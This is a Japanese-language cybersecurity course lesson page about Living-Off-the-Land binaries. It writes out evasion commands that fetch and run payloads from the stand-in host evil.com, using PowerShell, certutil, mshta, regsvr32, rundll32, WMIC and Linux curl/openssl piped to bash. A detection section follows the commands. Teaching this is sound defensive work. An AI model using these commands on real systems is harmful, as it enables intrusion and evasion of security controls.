Living-Off-the-Landバイナリ(LOLBins)
信頼されたWindowsバイナリ(certutil、mshta、regsvr32)を使って検知を回避します。
「Living-Off-the-Landバイナリ(LOLBins)」はCoddyKit上の無料Cyber Security Academyレッスンです。 これはレッスン2/4です。 下記で完全なレッスンを無料で読むことができます。その後、ブラウザ内の組み込みコードエディタと24時間対応のAIチューターでハンズオン演習できます。 これはCyber Security Academy学習パスの一部であり、ウェブとCoddyKitアプリ全体で進捗が同期されます。 Cyber Security Academyコースには全4レッスンが含まれています。
LOLBinsとは何ですか?
Living-Off-the-Land Binaries(LOLBins)とは、攻撃者が悪意のある操作を実行するために、本来は正規のOSバイナリやツールを転用する手法です。これらは信頼された署名付きのシステムツールであるため、アプリケーションの許可リストを回避し、AVやEDRによる検出を低減できることがあります。
LOLBinsが効果的な理由
攻撃者にとっての利点:
- ターゲットシステムに常に存在するため、新しいファイルを配置する必要がない
- MicrosoftやAppleによって署名されているため、シグネチャベースの検出を回避できる
- アプリケーションの許可リスト製品から信頼されている
- 正規に見えるプロセスツリーを生成できる
PowerShellをLOLBinsとして利用
PowerShellは、最も悪用されているLOLBinsです。攻撃者は次のように利用します:
# Download and execute from memory:
powershell -enc BASE64_ENCODED_COMMAND
powershell -nop -w hidden -c "IEX (New-Object Net.WebClient).DownloadString('http://evil.com/payload.ps1')"certutil
certutil.exeは、ファイルをダウンロードできるWindowsの証明書ツールです:
# Download file to disk:
certutil -urlcache -split -f http://evil.com/payload.exe C:\temp\payload.exe
# Base64 decode:
certutil -decode encoded.b64 decoded.exemshtaとwscript
信頼されたホストを介したスクリプト実行:
# mshta: execute HTA application from URL
mshta http://evil.com/payload.hta
# wscript: execute VBScript/JScript
wscript //E:VBScript evil.vbs
# cscript: console script host
cscript //nologo payload.jsregsvr32 Squiblydoo
regsvr32.exeは、/s /n /u /iフラグを使用してリモートURLからDLLを読み込み、実行できます。これにより、AppLockerを回避し、信頼されたプロセスとして未署名コードを実行できます:
regsvr32 /s /n /u /i:http://evil.com/payload.sct scrobj.dllWMICとWMIによる実行
Windows Management Instrumentationは、リモートおよびローカルでコードを実行します:
# Execute command via WMI:
wmic process call create "powershell.exe -enc PAYLOAD"
# Remote execution:
wmic /node:TARGET process call create "cmd.exe /c payload.exe"Rundll32
rundll32.exeは、DLLのエントリポイントを読み込み、実行します:
# Execute a DLL export:
rundll32 evil.dll,EntryPoint
# Run JavaScript via rundll32:
rundll32 javascript:"\..\mshtml,RunHTMLApplication " payloadLinuxのLOLBins
Linuxにおける同等のツール:
# curl/wget for downloads:
curl http://evil.com/payload | bash
# Python for execution:
python3 -c "import os; os.system('whoami')"
# OpenSSL for file transfer:
openssl s_client -quiet -connect evil.com:443 | bash
# Find LOLBins: gtfobins.github.ioLOLBASとGTFOBins
リファレンスデータベース:
- LOLBAS(lolbas-project.github.io)— Windowsのバイナリ、スクリプト、ライブラリ
- GTFOBins(gtfobins.github.io)— 悪用、ファイルの読み書き、SUID権限昇格に利用できるLinux/macOSのバイナリ
LOLBinsの悪用を検出する
検出戦略:
- PowerShellのスクリプトブロックログ(EventID 4104)— デコードされたコマンドを記録
- Sysmon EventID 1:親プロセスのチェーンを含むプロセス作成
- 予期しない親子関係を警告(Word → PowerShell、Excel → cmd)
- certutil、mshta、powershellからのネットワーク接続
- UEBAのベースラインを使用して、異常なバイナリの使用を検出
クイックチェック:LOLBins
-urlcacheフラグを使ってリモートファイルをダウンロードできるWindowsバイナリはどれですか?
レッスンのまとめ
LOLBinsは、悪意のある目的に転用された正規のOSツールです。WindowsではPowerShell、certutil、mshta、regsvr32、rundll32、WMIC、Linuxではcurl、python、opensslなどがあります。これらはシグネチャベースの検出やアプリケーションの許可リストを回避します。検出には、プロセス作成ログ(Sysmon)、PowerShellのスクリプトブロックログ、動作ベースラインが必要です。LOLBASとGTFOBinsは不可欠なリファレンスデータベースです。
よくある質問
「Living-Off-the-Landバイナリ(LOLBins)」レッスンは無料ですか?
はい。「Living-Off-the-Landバイナリ(LOLBins)」の完全なテキストはこのウェブで無料で読めます。インタラクティブに演習し(組み込みコードエディタと24時間対応のAIチューター)、Cyber Security Academyコースの残りをアンロックするには、CoddyKit PROにアップグレードしてください。 Cyber Security Academyコースには全4レッスンが含まれています。
「Living-Off-the-Landバイナリ(LOLBins)」で何を学びますか?
信頼されたWindowsバイナリ(certutil、mshta、regsvr32)を使って検知を回避します。 ブラウザで直接実行するハンズオンコードでCyber Security Academyを演習し、24時間対応のAIチューターがレッスンを進める中での質問に答えます。
Cyber Security Academyを始めるのに経験は必要ですか?
事前経験は必要ありません。CoddyKitのCyber Security Academyは初級者から上級者向けに構成されているため、ここから始めるか最初から始めて、自分のペースで進むことができます。 これはレッスン2/4です。
「Living-Off-the-Landバイナリ(LOLBins)」レッスンにはどのくらい時間がかかりますか?
ほとんどのCoddyKitレッスンは約5~10分かかります。各レッスンはコンパクトでインタラクティブなので、着実に進歩し、ウェブとアプリ全体で正確に前回の場所から再開できます。
このCyber Security Academyレッスンでコードを書いて実行できますか?
はい。すべてのCyber Security Academyレッスンに組み込みコードエディタが含まれているため、ブラウザでリアルコードを書いて実行し、即座のAIフィードバックを取得できます。ローカル設定は不要です。
このコースのすべてのレッスン
- C2フレームワーク:Cobalt StrikeとSliver
- Living-Off-the-Landバイナリ(LOLBins)
- 横方向移動のテクニック
- レッドチームレポートの作成